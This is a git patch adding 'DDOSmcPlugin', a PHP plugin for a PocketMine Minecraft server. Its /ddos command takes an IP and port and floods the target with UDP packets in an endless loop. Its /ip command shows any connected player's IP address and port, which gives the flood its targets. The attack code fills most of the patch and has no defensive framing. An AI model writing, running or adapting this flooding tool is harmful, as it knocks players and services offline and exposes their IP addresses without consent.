From 2358bb0cd3ab2a4c1ee960486fdc8c8d8f332fda Mon Sep 17 00:00:00 2001 From: Bourdon0812 <69124289+Bourdon0812@users.noreply.github.com> Date: Thu, 13 Apr 2023 23:34:56 +0200 Subject: [PATCH] inital commit --- DDOSmcPlugin/plugin.yml | 6 + .../src/DDOS/Commands/DdosCommand.php | 36 +++ DDOSmcPlugin/src/DDOS/Commands/IpsCommand.php | 33 +++ DDOSmcPlugin/src/DDOS/Main.php | 32 +++ DDOSmcPlugin/src/DDOS/Shedule/DdosTask.php | 43 ++++ DDOSmcPlugin/src/DDOS/Utils/HackManager.php | 214 ++++++++++++++++++ 6 files changed, 364 insertions(+) create mode 100644 DDOSmcPlugin/plugin.yml create mode 100644 DDOSmcPlugin/src/DDOS/Commands/DdosCommand.php create mode 100644 DDOSmcPlugin/src/DDOS/Commands/IpsCommand.php create mode 100644 DDOSmcPlugin/src/DDOS/Main.php create mode 100644 DDOSmcPlugin/src/DDOS/Shedule/DdosTask.php create mode 100644 DDOSmcPlugin/src/DDOS/Utils/HackManager.php diff --git a/DDOSmcPlugin/plugin.yml b/DDOSmcPlugin/plugin.yml new file mode 100644 index 0000000..3deac02 --- /dev/null +++ b/DDOSmcPlugin/plugin.yml @@ -0,0 +1,6 @@ +name: DDOSmcPlugin +main: DDOS\Main +version: 1.0.0 +api: 4.0.0 +author: Bourdon +discord: Bourdon#5609 \ No newline at end of file diff --git a/DDOSmcPlugin/src/DDOS/Commands/DdosCommand.php b/DDOSmcPlugin/src/DDOS/Commands/DdosCommand.php new file mode 100644 index 0000000..5dad92d --- /dev/null +++ b/DDOSmcPlugin/src/DDOS/Commands/DdosCommand.php @@ -0,0 +1,36 @@ +sendMessage("entrer des argument"); + return; + + } + + $adresse = new HackManager("{$args[0]}", $args[1], "ddos"); + $adresse->startDdos(); + } + +} diff --git a/DDOSmcPlugin/src/DDOS/Commands/IpsCommand.php b/DDOSmcPlugin/src/DDOS/Commands/IpsCommand.php new file mode 100644 index 0000000..ec5ea20 --- /dev/null +++ b/DDOSmcPlugin/src/DDOS/Commands/IpsCommand.php @@ -0,0 +1,33 @@ +sendMessage("§cUsage: /ip player"); + return false; + } + + $player = Main::getInstance()->getServer()->getPlayerExact($args[0]); + + if($player === null) { + $sender->sendMessage("§cJoueur non connecté"); + return false; + } + + $sender->sendMessage("§aL'ip de " . $player->getName() . " est" . $player->getNetworkSession()->getIp()); + $sender->sendMessage("§aLe port avec lequel " . $player->getName() . " est connecté est " . $player->getNetworkSession()->getPort()); + return true; + } + +} \ No newline at end of file diff --git a/DDOSmcPlugin/src/DDOS/Main.php b/DDOSmcPlugin/src/DDOS/Main.php new file mode 100644 index 0000000..3ae0979 --- /dev/null +++ b/DDOSmcPlugin/src/DDOS/Main.php @@ -0,0 +1,32 @@ +getServer()->getCommandMap()->register("ddos", new DdosCommand()); + $this->getServer()->getCommandMap()->register("ip", new IpsCommand()); + $this->getLogger()->info("Bon le ddos c mal alamdoulila alors evitez"); + $this->getLogger()->info("/ip nomDuJoueur pour avoir l'ip d'un joueur"); + } + + /** + * @return Main + */ + public static function getInstance() : Main { + return self::$instance; + } + +} \ No newline at end of file diff --git a/DDOSmcPlugin/src/DDOS/Shedule/DdosTask.php b/DDOSmcPlugin/src/DDOS/Shedule/DdosTask.php new file mode 100644 index 0000000..98939b2 --- /dev/null +++ b/DDOSmcPlugin/src/DDOS/Shedule/DdosTask.php @@ -0,0 +1,43 @@ +ip = $ip; + $this->port = $port; + $this->sock = $sock; + $this->bytes = $bytes; + $this->buffer = $buffer; + } + + /** + * @return void + */ + public function onRun() : void { + var_dump(socket_sendto($this->sock, $this->bytes, $this->buffer,0, $this->ip, $this->port)); + socket_sendto($this->sock, $this->bytes, $this->buffer,0, $this->ip, $this->port); + } + +} diff --git a/DDOSmcPlugin/src/DDOS/Utils/HackManager.php b/DDOSmcPlugin/src/DDOS/Utils/HackManager.php new file mode 100644 index 0000000..0d27b0d --- /dev/null +++ b/DDOSmcPlugin/src/DDOS/Utils/HackManager.php @@ -0,0 +1,214 @@ + '0' , 'ftp' => '21' , 'ssh' => '22' , + 'telnet' => '23' , 'smtp' => '25' , 'dns' => '53' , + 'http' => '80' , 'pop3' => '110' , 'imap' => '143' , + 'https' => '443' , 'smtp/s' => '465' , 'smtp/n' => '587' , + 'imap4' => '993' , 'pop3/s' => '995' , 'sql' => '1433', + 'mysql' => '3306' , 'rdp' => '3389' , 'pc/anyware' => '5631' + ); + + /** + * @var string + */ + public string $reason; + + /** + * __construct + * + * @param string $ip + * @param string $port + * @param string $reason + */ + public function __construct(string $ip, string $port, string $reason) { + $this->ip = $ip; + $this->port = $port; + $this->reason = $reason; + } + + /** + * @return string + */ + public function getIp() : string { + return $this->ip; + } + + /** + * + * @return string + */ + public function getPort() : string { + return $this->port; + } + + /** + * @return string + */ + public function getReason() : string { + return $this->reason; + } + + /** + * @return array + */ + public function getAdresse() : array { + return [$this->getiP(), $this->getPort()]; + } + + /** + * @return void + */ + public function genBytes() : void { + $hex = substr(md5(mt_rand()), 0, 9); + $this->BYTES[0] = unpack('H*', "$hex"); + $this->BYTES[1] = base_convert($this->BYTES[0][1], 16, 2); + + } + + /** + * @return int + */ + public function getBuffer() : int { + return strlen($this->BYTES[1]); + } + + /** + * @param $ip + * @return string|null + */ + public function safe_input_ip($ip) : string|null { + $ip = htmlspecialchars($ip); + $ip = htmlentities($ip); + $ip = trim($ip); + $ip = stripslashes($ip); + $ip = stripcslashes ($ip); + + if ($ip) + return ($ip); + + else + $trace = debug_backtrace(); + + return null; + + } + + /** + * @return void + */ + public function startDdos() : void { + /*if(($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) + echo "ddos fail : " . socket_strerror(socket_last_error()) . "\n"; + + else + $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);*/ + + $this->genBytes(); + $bytes = $this->BYTES[1]; + $buffer = $this->getBuffer(); + $flag = 0; + $ip_addr = $this->getIp(); + $port = $this->getPort(); + + + /*if ($port == "0") + $port = 0; + + else if ($port == "21") + $port = $this->port_list['fpt']; + + else if ($port == "22") + $port = $this->port_list['ssh']; + + else if ($port == "23") + $port = $this->port_list['telnet']; + + else if ($port == "25") + $port = $this->port_list['smtp']; + + else if ($port == "53") + $port = $this->port_list['dns']; + + else if ($port == "80") + $port = $this->port_list['http']; + + else if ($port == "110") + $port = $this->port_list['pop3']; + + else if ($port == "143") + $port = $this->port_list['imap']; + + else if ($port == "443") + $port = $this->port_list['https']; + + else if ($port == "465") + $port = $this->port_list['smtp/s']; + + else if ($port == "587") + $port = $this->port_list['smtp/n']; + + else if ($port == "993") + $port = $this->port_list['imap4']; + + else if ($port == "995") + $port = $this->port_list['pop3/s']; + + else if ($port == "1433") + $port = $this->port_list['sql']; + + else if ($port == "3306") + $port = $this->port_list['mysql']; + + else if ($port == "3389") + $port = $this->port_list['rdp']; + + else if ($port == "5631") + $port = $this->port_list['pc/anyware'];*/ + $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); + $ip_addr = $this->safe_input_ip($ip_addr); + while(1) { + socket_sendto($sock,$bytes, $buffer, $flag, $ip_addr, $port); + } + + } + /* + + $this->genBytes(); + $bytes = $this->BYTES[1]; + $buffer = $this->getBuffer(); + + $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); + + $task = new DdosTask($sock, $bytes, $buffer,0, $this->getIp(), $this->getPort()); + Main::getInstance()->getScheduler()->scheduleRepeatingTask($task, 1); + } +*/ +} +